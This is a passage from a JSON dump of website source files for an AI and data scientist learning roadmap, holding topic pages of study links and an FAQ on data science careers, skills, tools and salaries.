\"qUrLBzvXvJOg53HBfjrOI\",\n      \"selected\": true,\n      \"focusable\": true,\n      \"selectable\": true\n    },\n    {\n      \"style\": {\n        \"strokeDasharray\": \"0.8 8\",\n        \"strokeLinecap\": \"round\",\n        \"strokeWidth\": 3.5,\n        \"stroke\": \"#2b78e4\"\n      },\n      \"source\": \"HVHYJ8gWHCZMACuvKP7gK\",\n      \"sourceHandle\": \"z2\",\n      \"target\": \"HVHYJ8gWHCZMACuvKP7gK\",\n      \"targetHandle\": \"z1\",\n      \"data\": {\n        \"edgeStyle\": \"dashed\"\n      },\n      \"id\": \"reactflow__edge-wOqfPAZ24GxUrkxVRRyT5z2-wOqfPAZ24GxUrkxVRRyT5z1\",\n      \"selected\": true,\n      \"selectable\": true,\n      \"focusable\": true\n    }\n  ]\n}"
  },
  {
    "path": "src/data/roadmaps/ai-data-scientist/ai-data-scientist.md",
    "content": "---\njsonUrl: '/jsons/roadmaps/ai-data-scientist.json'\npdfUrl: '/pdfs/roadmaps/ai-data-scientist.pdf'\norder: 4.5\nrenderer: 'editor'\nbriefTitle: 'AI and Data Scientist'\nbriefDescription: 'Step by step guide to becoming an AI and Data Scientist in 2025'\ntitle: 'AI and Data Scientist Roadmap'\ndescription: 'Step by step roadmap guide to becoming an AI and Data Scientist in 2025'\nhasTopics: true\nisNew: false\ndimensions:\n  width: 968\n  height: 2140\nschema:\n  headline: 'AI and Data Scientist Roadmap'\n  description: 'Learn how to become an AI and Data Scientist with this interactive step by step guide in 2025. We also have resources and short descriptions attached to the roadmap items so you can get everything you want to learn in one place.'\n  imageUrl: 'https://roadmap.sh/roadmaps/ai-data-scientist.png'\n  datePublished: '2023-08-17'\n  dateModified: '2023-08-17'\nquestion:\n  title: 'What is a data scientist?'\n  description: |\n    A data scientist is a person who extracts actionable insights from data by using programming, statistics, machine learning, and domain knowledge.\n\n    That is a very generic description, however, the field of data science is so broad that it's tough to define the role without going into the specifics.\n\n    To give you an example of what a data scientist can do, take a closer look at the last selfie you took. Look at your face; what emotion are you showing? Are you happy? Sad? Crying? Laughing? All at the same time? For you, answering those questions is trivially simple; however, getting a computer to do it is a whole different problem.\n\n    And that's where data scientists come into play.\n\n    Data scientists take unstructured data (like video, photos, text files, etc) and structured data (like database rows, spreadsheets, etc) and figure out what it all means. By analyzing this data (some call it \"big data\"), they help companies make better decisions, such as understanding what customers want, how they feel about their products, or even predicting future trends.\n\n    They help find the hidden answers in the data, which is what makes this profession so appealing to some.\n\n    ## What does a data scientist do?\n\n    Most data scientists collect, organize, and study data to uncover useful insights. At a high level, here's a simple way to break that process down:\n\n    **Collecting Data:** They gather information from various sources, like websites, databases, or devices. Depending on the project, the sources of information might be very different, but the point is that once the data enters the domains of the data scientist, it's all 1's and 0's for them to process.\n\n    **Cleaning Data:** Before being able to use the data, they need to ensure the data is formatted correctly, doesn't have any holes, and that the values actually make sense within the context of their source (i.e., that there are not too many \"outliers\"). They fix these mistakes and make sure the data is ready to use.\n\n    **Analyzing Data:** They use tools and techniques, like exploratory data analysis, charts, or algorithms, to find patterns and trends.\n\n    **Sharing Insights:** Once they're done with their analysis, the last step is sharing the results. Data scientists explain their findings in easy-to-understand ways, often with visuals, so that others can take action based on the data.\n\n    For example, using these steps, a data scientist might help a company predict which products will sell best next month based on historical sales data and customer trends.\n\n    ## How do you become a data scientist?\n\n    There is no single way to become a data scientist, however, the journey usually involves these steps:\n\n    **#1. Learn the Basics:** Start with math (like statistics) and programming (Python or R) to understand and process data efficiently.\n\n    **#2. Practice with Data:** Begin with small projects, like analyzing trends or creating charts, and gradually tackle more complex goals.\n\n    **#3. Take Courses:** Use online classes and tutorials to learn Data Science step by step.\n\n    **#4. Build a Portfolio:** Solve real-world problems and share your work to showcase your skills and attract opportunities.\n\n    **#5. Get Experience:** Seek internships or entry-level roles to apply and grow your skills.\n\n    In the end, you have to keep in mind that this is a marathon, not a race. Rushing through knowledge or cutting corners for the sake of speed will only limit your options and your understanding by the time you actually do get the job.\n\n    With curiosity and practice, anyone can start exploring the world of Data Science.\nseo:\n  title: 'AI and Data Scientist Roadmap'\n  description: 'Learn to become an AI and Data Scientist using this roadmap. Community driven, articles, resources, guides, interview questions, quizzes for modern AI and Data Science.'\n  keywords:\n    - 'ai and data scientist roadmap 2024'\n    - 'ai and data scientist roadmap 2025'\n    - 'guide to becoming an ai and data scientist'\n    - 'ai and data scientist roadmap'\n    - 'ai scientist'\n    - 'ai scientist roadmap 2025'\n    - 'data scientist roadmap'\n    - 'ai skills'\n    - 'data scientist skills'\n    - 'ai engineer roadmap'\n    - 'ai skills test'\n    - 'data scientist skills test'\n    - 'ai and data scientist roadmap'\n    - 'become an ai and data scientist'\n    - 'ai and data scientist career path'\n    - 'ai career path'\n    - 'data scientist career path'\n    - 'skills for ai engineer'\n    - 'skills for data scientist'\n    - 'learn ai for developers'\n    - 'ai and data scientist quiz'\n    - 'ai and data scientist interview questions'\nrelatedRoadmaps:\n  - 'prompt-engineering'\n  - 'data-analyst'\n  - 'ai-engineer'\n  - 'python'\n  - 'backend'\n  - 'devops'\nsitemap:\n  priority: 1\n  changefreq: 'monthly'\ntags:\n  - 'roadmap'\n  - 'main-sitemap'\n  - 'role-roadmap'\n---\n"
  },
  {
    "path": "src/data/roadmaps/ai-data-scientist/content/ab-testing@mJq9b50MJM9o9dLhx40iN.md",
    "content": "# AB Testing\n\n- [@article@Practitioner’s Guide to Statistical Tests](https://vkteam.medium.com/practitioners-guide-to-statistical-tests-ed2d580ef04f#1e3b)\n- [@article@Step by Step Process for Planning an A/B Test](https://medium.com/data-science/step-by-step-for-planning-an-a-b-test-ef3c93143c0b)\n- [@feed@Explore top posts about A/B Testing](https://app.daily.dev/tags/ab-testing?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/ai-data-scientist/content/classic-ml-sup-unsup-advanced-ml-ensembles-nns@FdBih8tlGPPy97YWq463y.md",
    "content": "# Classic/Advanced ML\n\n- [@article@Open Machine Learning Course](https://mlcourse.ai/book/topic01/topic01_intro.html)\n- [@article@Coursera: Machine Learning Specialization](https://imp.i384100.net/oqGkrg)\n- [@article@Pattern Recognition and Machine Learning by Christopher Bishop](https://www.microsoft.com/en-us/research/uploads/prod/2006/01/Bishop-Pattern-Recognition-and-Machine-Learning-2006.pdf)\n- [@opensource@Repository of notes, code and notebooks in Python for the book Pattern Recognition and Machine Learning by Christopher Bishop](https://github.com/gerdm/prml)\n- [@feed@Explore top posts about Machine Learning](https://app.daily.dev/tags/machine-learning?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/ai-data-scientist/content/coding@XLDWuSt4tI4gnmqMFdpmy.md",
    "content": "# Coding\n\nProgramming is a fundamental skill for data scientists. You need to be able to write code to manipulate data, build models, and deploy solutions. The most common programming languages used in data science are Python and R. Python is a general-purpose programming language that is easy to learn and has a large number of libraries for data manipulation and machine learning. R is a programming language and free software environment for statistical computing and graphics. It is widely used for statistical analysis and data visualization."
  },
  {
    "path": "src/data/roadmaps/ai-data-scientist/content/data-structures-and-algorithms-python@StBCykpzpM4g9PRFeSNXa.md",
    "content": "# Data Structures and Algorithms\n\n- [@article@Learn Algorithms](https://leetcode.com/explore/learn/)\n- [@article@Leetcode - Study Plans](https://leetcode.com/studyplan/)\n- [@article@Algorithms Specialization](https://imp.i384100.net/5gqv4n)"
  },
  {
    "path": "src/data/roadmaps/ai-data-scientist/content/data-understanding-data-analysis-and-visualization@JaN8YhMeN3whAe2TCXvw9.md",
    "content": "# Data Understanding, Analysis and Visualization\n\n- [@article@Exploratory Data Analysis With Python and Pandas](https://imp.i384100.net/AWAv4R)\n- [@article@Exploratory Data Analysis for Machine Learning](https://imp.i384100.net/GmQMLE)\n- [@article@Python for Data Visualization: Matplotlib & Seaborn](https://imp.i384100.net/55xvzn)\n\n"
  },
  {
    "path": "src/data/roadmaps/ai-data-scientist/content/deep-learning@cjvVLN0XjrKPn6o20oMmc.md",
    "content": "## Deep Learning\n\nDeep learning is a subset of machine learning that deals with algorithms inspired by the structure and function of the brain called artificial neural networks. Deep learning is a key technology behind driverless cars, enabling them to recognize a stop sign, or to distinguish a pedestrian from a lamppost. It is the key to voice control in consumer devices like phones, tablets, TVs, and hands-free speakers. Deep learning is getting lots of attention lately and for good reason. It’s achieving results that were not possible before."
  },
  {
    "path": "src/data/roadmaps/ai-data-scientist/content/deployment-models-cicd@uPzzUpI0--7OWDfNeBIjt.md",
    "content": "# MLOps\n\n- [@article@Machine Learning Engineering for Production (MLOps) Specialization](https://imp.i384100.net/nLA5mx)\n- [@article@Full Stack Deep Learning](https://fullstackdeeplearning.com/course/2022/)\n- [@feed@Explore top posts about CI/CD](https://app.daily.dev/tags/cicd?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/ai-data-scientist/content/differential-calculus@mwPJh33MEUQ4Co_LiVEOb.md",
    "content": "# Differential Calculus\n\n- [@article@Algebra and Differential Calculus for Data Science](https://imp.i384100.net/LX5M7M)\n- [@video@Calculus Youtube Course](https://www.youtube.com/playlist?list=PLZHQObOWTQDMsr9K-rj53DwVRMYO3t5Yr)\n"
  },
  {
    "path": "src/data/roadmaps/ai-data-scientist/content/econometrics@Gd2egqKZPnbPW1W2jw4j8.md",
    "content": "# Econometrics\n\nEconometrics is the application of statistical methods to economic data. It is a branch of economics that aims to give empirical content to economic relations. More precisely, it is \"the quantitative analysis of actual economic phenomena based on the concurrent development of theory and observation, related by appropriate methods of inference.\" Econometrics can be described as something that allows economists \"to sift through mountains of data to extract simple relationships.\"\n"
  },
  {
    "path": "src/data/roadmaps/ai-data-scientist/content/exploratory-data-analysis@l1027SBZxTHKzqWw98Ee-.md",
    "content": "# Exploratory Data Analysis\n\nExploratory Data Analysis (EDA) is an approach to analyzing data sets to summarize their main characteristics, often with visual methods. EDA is used to understand what the data can tell us beyond the formal modeling or hypothesis testing task. It is a crucial step in the data analysis process."
  },
  {
    "path": "src/data/roadmaps/ai-data-scientist/content/fully-connected-cnn-rnn-lstm-transformers-tl@eOFoGKveaHaBm_6ppJUtA.md",
    "content": "# Fully Connected NN, CNN, RNN, LSTM, Transformers, Transfer Learning\n\n- [@article@The Illustrated Transformer](https://jalammar.github.io/illustrated-transformer/)\n- [@article@Attention is All you Need](https://arxiv.org/pdf/1706.03762.pdf)\n- [@article@Deep Learning Book](https://www.deeplearningbook.org/)\n- [@article@Deep Learning Specialization](https://imp.i384100.net/Wq9MV3)\n\n"
  },
  {
    "path": "src/data/roadmaps/ai-data-scientist/content/hypothesis-testing@XJXIkWVDIrPJ-bVIvX0ZO.md",
    "content": "# Hypothesis Testing\n\n- [@article@Introduction to Statistical Analysis: Hypothesis Testing](https://imp.i384100.net/vN0JAA)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/ai-data-scientist/content/increasing-test-sensitivity@v68nwX914qCwHDSwY_ZhG.md",
    "content": "# Increasing Test Sensitivity\n\n- [@article@Minimum Detectable Effect (MDE)](https://splitmetrics.com/resources/minimum-detectable-effect-mde/)\n- [@article@Improving the Sensitivity of Online Controlled Experiments: Case Studies at Netflix](https://kdd.org/kdd2016/papers/files/adp0945-xieA.pdf)\n- [@article@Improving the Sensitivity of Online Controlled Experiments by Utilizing Pre-Experiment Data](https://exp-platform.com/Documents/2013-02-CUPED-ImprovingSensitivityOfControlledExperiments.pdf)\n- [@article@How Booking.com increases the power of online experiments with CUPED](https://booking.ai/how-booking-com-increases-the-power-of-online-experiments-with-cuped-995d186fff1d)\n- [@article@Improving Experimental Power through Control Using Predictions as Covariate — CUPAC](https://doordash.engineering/2020/06/08/improving-experimental-power-through-control-using-predictions-as-covariate-cupac/)\n- [@article@Improving the Sensitivity of Online Controlled Experiments: Case Studies at Netflix](https://www.researchgate.net/publication/305997925_Improving_the_Sensitivity_of_Online_Controlled_Experiments_Case_Studies_at_Netflix)\n\n"
  },
  {
    "path": "src/data/roadmaps/ai-data-scientist/content/index.md",
    "content": "# "
  },
  {
    "path": "src/data/roadmaps/ai-data-scientist/content/learn-python-programming-language@MVrAqizgkoAs2aghN8TgV.md",
    "content": "# Python\n\n- [@article@Kaggle — Python](https://www.kaggle.com/learn/python)\n- [@article@Google's Python Class](https://developers.google.com/edu/python)\n- [@feed@Explore top posts about Python](https://app.daily.dev/tags/python?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/ai-data-scientist/content/learn-sql@Im0tXXn3GC-FUq2aMHgwm.md",
    "content": "# SQL\n\n- [@article@SQL Tutorial](https://www.sqltutorial.org/)\n- [@feed@Explore top posts about SQL](https://app.daily.dev/tags/sql?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/ai-data-scientist/content/linear-algebra-calculus-mathematical-analysis@gWMvD83hVXeTmCuHGIiOL.md",
    "content": "# Learn Algebra, Calculus, Mathematical Analysis\n\n- [@article@Mathematics for Machine Learning Specialization](https://imp.i384100.net/baqMYv)\n- [@video@Linear Algebra Youtube Course](https://www.youtube.com/playlist?list=PLZHQObOWTQDPD3MizzM2xVFitgF8hE_ab)\n- [@feed@Explore top posts about Math](https://app.daily.dev/tags/math?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/ai-data-scientist/content/machine-learning@kBdt_t2SvVsY3blfubWIz.md",
    "content": "# Machine Learning\n\nMachine learning is a field of artificial intelligence that uses statistical techniques to give computer systems the ability to \"learn\" (e.g., progressively improve performance on a specific task) from data, without being explicitly programmed. The name machine learning was coined in 1959 by Arthur Samuel. Evolved from the study of pattern recognition and computational learning theory in artificial intelligence, machine learning explores the study and construction of algorithms that can learn from and make predictions on data – such algorithms overcome following strictly static program instructions by making data-driven predictions or decisions, through building a model from sample inputs. Machine learning is employed in a range of computing tasks where designing and programming explicit algorithms with good performance is difficult or infeasible; example applications include email filtering, detection of network intruders, and computer vision."
  },
  {
    "path": "src/data/roadmaps/ai-data-scientist/content/mathematics@aStaDENn5PhEa-cFvNzXa.md",
    "content": "# Mathematics\n\nMathematics is the foundation of AI and Data Science. It is essential to have a good understanding of mathematics to excel in these fields.\n"
  },
  {
    "path": "src/data/roadmaps/ai-data-scientist/content/mlops@Qa85hEVe2kz62k9Pj4QCA.md",
    "content": "# MLOps\n\nMLOps is a practice for collaboration and communication between data scientists and operations professionals to help manage production ML lifecycle. It is a set of best practices that aims to automate the ML lifecycle, including training, deployment, and monitoring. MLOps helps organizations to scale ML models and deliver business value faster."
  },
  {
    "path": "src/data/roadmaps/ai-data-scientist/content/pre-requisites-of-econometrics@y6xXsc-uSAmRDnNuyhqH2.md",
    "content": "# Econometrics Pre-requisites\n\n- [@article@10 Fundamental Theorems for Econometrics](https://bookdown.org/ts_robinson1994/10EconometricTheorems/)\n\n"
  },
  {
    "path": "src/data/roadmaps/ai-data-scientist/content/probability-and-sampling@jxJtwbiCvxHqmkWkE7zdx.md",
    "content": "# Probability and Sampling\n\n- [@article@Probability and Statistics: To p or not to p?](https://imp.i384100.net/daDM6Q)\n- [@feed@Explore top posts about Statistics](https://app.daily.dev/tags/statistics?ref=roadmapsh)\n"
  },
  {
    "path": "src/data/roadmaps/ai-data-scientist/content/ratio-metrics@n2JFGwFxTuOviW6kHO1Uv.md",
    "content": "# Ratio Metrics\n\n- [@article@Applying the Delta Method in Metric Analytics: A Practical Guide with Novel Ideas](https://arxiv.org/pdf/1803.06336.pdf)\n- [@article@Approximations for Mean and Variance of a Ratio](https://www.stat.cmu.edu/~hseltman/files/ratio.pdf)\n\n"
  },
  {
    "path": "src/data/roadmaps/ai-data-scientist/content/regression-timeseries-fitting-distributions@h19k9Fn5XPh3_pKEC8Ftp.md",
    "content": "# Regressions, Time series, Fitting Distributions\n\n- [@article@10 Fundamental Theorems for Econometrics](https://bookdown.org/ts_robinson1994/10EconometricTheorems/)\n- [@article@Dougherty Intro to Econometrics 4th edition](https://www.academia.edu/33062577/Dougherty_Intro_to_Econometrics_4th_ed_small)\n- [@article@Econometrics: Methods and Applications](https://imp.i384100.net/k0krYL)\n- [@article@Kaggle - Learn Time Series](https://www.kaggle.com/learn/time-series)\n- [@article@Time series Basics : Exploring traditional TS](https://www.kaggle.com/code/jagangupta/time-series-basics-exploring-traditional-ts#Hierarchical-time-series)\n- [@article@How to Create an ARIMA Model for Time Series Forecasting in Python](https://machinelearningmastery.com/arima-for-time-series-forecasting-with-python)\n- [@article@11 Classical Time Series Forecasting Methods in Python](https://machinelearningmastery.com/time-series-forecasting-methods-in-python-cheat-sheet/)\n- [@opensource@Blockchain.com Data Scientist TakeHome Test](https://github.com/stalkermustang/bcdc_ds_takehome)\n- [@article@Linear Regression for Business Statistics](https://imp.i384100.net/9g97Ke)\n\n"
  },
  {
    "path": "src/data/roadmaps/ai-data-scientist/content/statistics-clt@Y9YJdARIRqqCBCy3GVYdA.md",
    "content": "# Statistics, CLT\n\n- [@article@Introduction to Statistics](https://imp.i384100.net/3eRv4v)\n\n"
  },
  {
    "path": "src/data/roadmaps/ai-data-scientist/content/statistics@4WZL_fzJ3cZdWLLDoWN8D.md",
    "content": "# Statistics\n\nStatistics is the science of collecting, analyzing, interpreting, presenting, and organizing data. It is a branch of mathematics that deals with the collection, analysis, interpretation, presentation, and organization of data. It is used in a wide range of fields, including science, engineering, medicine, and social science. Statistics is used to make informed decisions, to predict future events, and to test hypotheses. It is also used to summarize data, to describe relationships between variables, and to make inferences about populations based on samples."
  },
  {
    "path": "src/data/roadmaps/ai-data-scientist/faqs.astro",
    "content": "---\nimport type { FAQType } from '../../components/FAQs/FAQs.astro';\n\nexport const faqs: FAQType[] = [\n  {\n    question: 'What degree do you need to become a data scientist?',\n    answer: [\n      \"You don't need a specific degree to become a data scientist, but fields like Computer Science, Mathematics, Statistics, or Engineering are helpful for their focus on programming, algorithms, and databases.\",\n      'Degrees in Physics, Economics, or Social Sciences also provide critical thinking and research skills valuable for analyzing data.',\n      'Recently, many have transitioned into Data Science through bootcamps or online courses, highlighting the importance of practical skills over formal degrees.',\n    ],\n  },\n  {\n    question: 'Is becoming a data scientist a good career path?',\n    answer: [\n      'Yes, [becoming a data scientist is a good career path](https://roadmap.sh/ai-data-scientist/career-path) for many reasons, although all of them stem from the same one: technology is generating more and more data every day, and making sense of it is crucial for any business. The main derived reasons validating data science as a great career choice are:',\n      '**High Demand:** Companies in almost every industry need data scientists to help them make sense of their data. This creates plenty of job opportunities.',\n      '**Competitive Salaries:** Data Science is one of the highest-paying fields in tech, making it financially rewarding.',\n      '**Diverse Applications:** Getting bored in the field of data science is quite a challenge. If you think about it, data science skills can be applied in healthcare, finance, marketing, sports, and more, offering flexibility in choosing industries.',\n      '**Continuous Learning:** The field evolves quickly, which makes it exciting for those who love learning and staying up-to-date with new tools and techniques.',\n      '**Impactful Work:** Data scientists solve real-world problems, like predicting diseases, optimizing business processes, or making products more user-friendly.',\n      'While the path requires dedication and learning, the rewards—both professional and personal—make it a worthwhile choice for those who enjoy working with data and solving problems.',\n    ],\n  },\n  {\n    question: 'What are data scientist salaries like?',\n    answer: [\n      'Data scientist salaries vary based on factors such as location, experience, and industry, making them very hard to average and provide values that are useful to everyone around the globe.',\n      \"Here's an overview of average annual salaries for entry-level data scientists in various regions based on information gathered from Glassdoor and Indeed:\",\n      'In the United States, according to Glassdoor, the average salary for an entry-level data scientist is approximately $110k per year. Indeed, on the other hand, reports an average salary of around $54,313 per year for entry-level data scientists.',\n      \"For European countries, like Spain, for example, the average salary for an entry-level data scientist is about $40k per year. In the **United Kingdom**, while there aren't a lot of details for entry-level positions, reports show that the average salary for a data scientist in London is £50k per year, suggesting that entry-level positions may start lower.\",\n      'Finally, in **Canada**, the average salary for entry-level data scientists is around CAD 88k.',\n      'Remember that all these figures are averages and can vary based on individual qualifications, specific job roles, the employing organization, and even your ability to negotiate your salary.',\n      'However, generally speaking, Data Science is considered a well-compensated field with opportunities for growth and advancement.',\n    ],\n  },\n  {\n    question: 'What skills does a data scientist need?',\n    answer: [\n      'The most important [data science skills](https://roadmap.sh/ai-data-scientist/skills) a data scientist needs to possess are all listed in this roadmap.',\n      'At a high level, a data scientist needs a mix of technical and soft skills to succeed. Here are some of the key skills:',\n      '**Programming:** Knowing Python, R, or [SQL](https://roadmap.sh/sql) is a big plus, as relying on others to deploy your work can be limiting.',\n      '**Statistics & Math:** Essential for interpreting and modeling data, focusing on statistics, probability, and linear algebra.',\n      '**Data Visualization:** Master creating charts, graphs, and dashboards to effectively share your findings.',\n      '**Machine Learning:** Understand algorithms and models for predicting and classifying data.',\n      '**Big Data Tools:** Basic knowledge of Hadoop or Spark helps in handling large datasets and collaborating with data engineers.',\n      '**Data Wrangling:** Cleaning and prepping messy data is a must-have skill.',\n      '**Critical Thinking:** Asking the right questions and solving novel problems is key.',\n      '**Communication:** Simplify complex findings for stakeholders.',\n      '**Domain Knowledge:** Knowing your industry (e.g., finance or healthcare) helps you choose the right tools and approaches.',\n      'These skills combined will help data scientists extract actionable insights from data and drive decision-making in organizations. Test your current knowledge with [these top data science interview questions](https://roadmap.sh/questions/data-science).',\n    ],\n  },\n  {\n    question: 'What tools do data scientists use?',\n    answer: [\n      \"The [tools used by data scientists](https://roadmap.sh/ai-data-scientist/tools) vary quite a lot depending on the projects they're working on, the industry they're in, and even on their focus (whether they're purely theoretical data scientists or if they're also writing production-ready code).\",\n      'That said, here are some of the most common tools used in the data science field:',\n      '**Programming Languages:** **Python** is one of the most popular programming languages for data analysis, machine learning, and visualization. It is also ideal for developing microservices that make your ML models available to the public. On the other hand, something like R would be perfect for statistical computing and data visualization. Finally, **SQL** is used to query and manage databases.',\n      \"**Data Manipulation and Analysis Tools:** Libraries like **Pandas** and **NumPy** are industry standards for data manipulation in Python. If you're using R instead, check out Dplyr and Tidyr; they're both great for data manipulation in that language. Both quantitative and qualitative data are processed and analyzed using tools like Pandas, NumPy, Dplyr, and Tidyr.\",\n      '**Data Visualization Tools:** Tableau and Power BI are some of the most used tools for creating interactive dashboards. If, on the other hand, you require more control and customization, you might want to look at Matplotlib and Seaborn; they are Python libraries for generating graphs and plots.',\n      \"**Machine Learning Frameworks:** In this case, there aren't that many options; the industry is currently focusing on Scikit-learn, a Python library for machine learning, TensorFlow, and PyTorch, which focus more on deep learning applications.\",\n      '**Big Data Tools:** Hadoop and Spark are de facto standards at this point for handling and processing large datasets.',\n      \"**Databases:** If you're looking into SQL, MySQL, and [PostgreSQL](https://roadmap.sh/postgresql-dba), they are your best bets. For NoSQL, a great starting point is MongoDB.\",\n      \"**Cloud Platforms:** In this category, nothing beats the 3 big ones: **AWS**, **Google Cloud**, and **Azure**. If you're looking for scalable storage, processing, and machine learning services, you've found your answers.\",\n      '**Version Control:** In terms of industry standards, **Git** is pretty much alone here.',\n      '**Collaboration Tools:** **Jupyter Notebooks** and **RStudio** are designed for sharing code and analysis in an interactive format.',\n    ],\n  },\n  {\n    question: 'What is the Data Science Lifecycle?',\n    answer: [\n      'The [Data Science Lifecycle](https://roadmap.sh/ai-data-scientist/lifecycle) is the process data scientists follow to complete a data science project.',\n      'It consists of several stages:',\n      '**Problem Definition:** Clearly define the problem you want to solve and understand the objectives.',\n      '**Data Collection:** Gather relevant data from various sources, such as databases, APIs, or external datasets.',\n      \"**Data Preparation:** Clean, organize, and preprocess the data to ensure it's ready for analysis. This includes handling missing values, removing duplicates, and formatting data correctly.\",\n      '**Exploratory Data Analysis (EDA):** Analyze the data to identify patterns, trends, and relationships. Use visualization tools to gain insights.',\n      '**Model Building:** Develop and train machine learning models or statistical algorithms to solve the problem.',\n      \"**Model Evaluation:** Test the model's performance using metrics like accuracy, precision, recall, or F1 score to ensure it meets the objectives.\",\n      '**Deployment:** Integrate the model into production systems so it can be used in real-world applications.',\n      \"**Monitoring and Maintenance:** Continuously monitor the model's performance and update it as needed to adapt to new data or changing requirements.\",\n      'With these steps, data scientists ensure that they cover all the basics when working on a project, from ideation to production release.',\n    ],\n  },\n  {\n    question: 'How are data scientists different from AI Engineers?',\n    answer: [\n      \"Data scientists are different from [AI Engineers](https://roadmap.sh/ai-engineer), however, they're often confused due to overlapping skills.\",\n      'For **data scientists**, the focus is to analyze data and uncover insights, while in the case of **AI Engineers**, their focus is on building, deploying, and maintaining AI systems. **Data scientists** tend to be great at data manipulation (Python, R, SQL) and statistical analysis, while **AI Engineers** are quite skilled in software engineering, programming, and machine learning frameworks.',\n      'In the end, **data scientists** will provide insights, reports, and predictive models. While **AI Engineers** will deliver AI-powered applications, APIs, and scalable systems.',\n      'More on this topic here: [Data Science vs AI](https://roadmap.sh/ai-data-scientist/vs-ai).',\n    ],\n  },\n  {\n    question: 'What is the difference between Data Science and Data Analytics?',\n    answer: [\n      \"The difference between [data science and data analytics](https://roadmap.sh/ai-data-scientist/vs-data-analytics) might not be obvious at first sight, but it's a big one once you look closer into both roles. Data science involves creating predictive models, applying statistical methods, and exploring data to uncover insights. It usually includes advanced techniques such as machine learning. Data analysts, on the other hand, focus on analyzing current and historical data to answer specific questions and generate reports or dashboards, often with less emphasis on predictive modeling or advanced algorithms.\",\n    ],\n  },\n  {\n    question: 'What is the difference between Data Science and Statistics?',\n    answer: [\n      'The difference between [data science vs statistics](https://roadmap.sh/ai-data-scientist/vs-statistics) is that the first one is an interdisciplinary field that not only relies on statistical methods but also incorporates programming, data engineering, and domain expertise.',\n      'It usually works with large-scale, unstructured data (sometimes) and uses techniques such as machine learning and data visualization to derive insights and drive decisions.',\n      'Statistics, on the other hand, is centered mainly on mathematical theories and probability, used to analyze controlled datasets. It traditionally emphasizes hypothesis testing, model fitting, and drawing conclusions from sample data.',\n    ],\n  },\n  {\n    question:\n      'What is the difference between Data Science and Business Analytics?',\n    answer: [\n      'The [difference between data science and business analytics](https://roadmap.sh/ai-data-scientist/vs-business-analytics) is that data science focuses on extracting insights from massive and diverse datasets by developing predictive models and leveraging advanced algorithms.',\n      'Business Analytics, on the other hand, is more concerned with analyzing historical data and generating reports to support immediate data-driven decision making.',\n      \"In a data science vs business analytics scenario, you're confronting development and insight discovery vs historical data analysis.\",\n    ],\n  },\n  {\n    question:\n      'What is the difference between Data Science and Machine Learning?',\n    answer: [\n      'The [difference between data science and machine learning](https://roadmap.sh/ai-data-scientist/vs-machine-learning) is actually not that clear; in fact, many developers confuse them as being the same thing. Machine learning can be seen as a subset of data science that specifically deals with creating and refining algorithms capable of learning from data.',\n      'Its primary goal is to make predictions or classify data based on learned patterns. Data science, however, encompasses a wider spectrum—from data collection and cleaning to analysis and communication of insights—using a variety of tools, including machine learning techniques, to trigger decision-making.',\n    ],\n  },\n  {\n    question:\n      'What is the difference between Data Science and Computer Science?',\n    answer: [\n      'The [difference between data science and computer science](https://roadmap.sh/ai-data-scientist/vs-computer-science) is that data science applies statistical and computational methods to solve real-world problems using data, while computer science is a broader discipline that covers theory, algorithms, programming languages, and system design.',\n      'You could even say that the question of data science vs computer science makes no sense because the latter is just an umbrella term that encompasses the first one and many other disciplines.',\n    ],\n  },\n  {\n    question: 'What is the difference between Data Science and Cyber Security?',\n    answer: [\n      'The [difference between data science and cyber security](https://roadmap.sh/ai-data-scientist/vs-cyber-security) is that while the first one is centered on analyzing and interpreting data to generate actionable insights, the latter is focused on protecting systems, networks, and data from unauthorized access and cyber threats.',\n      'In other words, the question of data science vs cyber security could be answered shortly by saying that data science seeks to leverage data for better decision-making, and cyber security is dedicated to safeguarding information and ensuring system integrity.',\n    ],\n  },\n  {\n    question:\n      'What is the difference between Data Science and Software Engineering?',\n    answer: [\n      'The [difference between data science and software engineering](https://roadmap.sh/ai-data-scientist/vs-software-engineering) is that data science focuses on extracting insights from data through statistical analysis, machine learning, and data visualization. Software Engineering, on the other hand, is centered on designing, building, and maintaining software systems.',\n      'While both fields require programming skills, data scientists primarily manipulate and analyze data to support decision-making, and software engineers focus more on building the architecture and systems that allow for the creation of a specific software functionality.',\n    ],\n  },\n  {\n    question:\n      'What is the difference between Data Science and Data Engineering?',\n    answer: [\n      'The main [difference between data science and data engineering](https://roadmap.sh/ai-data-scientist/vs-data-engineering) is their focus.',\n      'Data Science focuses on analyzing and modeling data to extract insights and make predictions. It emphasizes statistics, machine learning, and visualization. Data engineering involves building and maintaining the infrastructure and pipelines needed to collect, store, and process data efficiently from multiple data sources. Data engineers ensure that data scientists have clean, accessible, and reliable data for their analyses.',\n    ],\n  },\n  {\n    question: 'How long does it take to become a data scientist?',\n    answer: [\n      \"Becoming a data scientist can take between 1 to 3 years, on average, considering a focused approach. Of course, keep in mind that this answer will highly depend on your approach to becoming a data scientist and your prior experience. And if you're aiming for a position as a senior data scientist, the time to get there will increase significantly if you haven't started yet.\",\n      'A strong foundation in programming, statistics, and ML is essential for this to happen. Many achieve this through a combination of formal education, such as a degree or certification program, and hands-on projects to build practical skills.',\n    ],\n  },\n];\n---\n"
  },
  {
    "path": "src/data/roadmaps/ai-data-scientist/mapping.json",
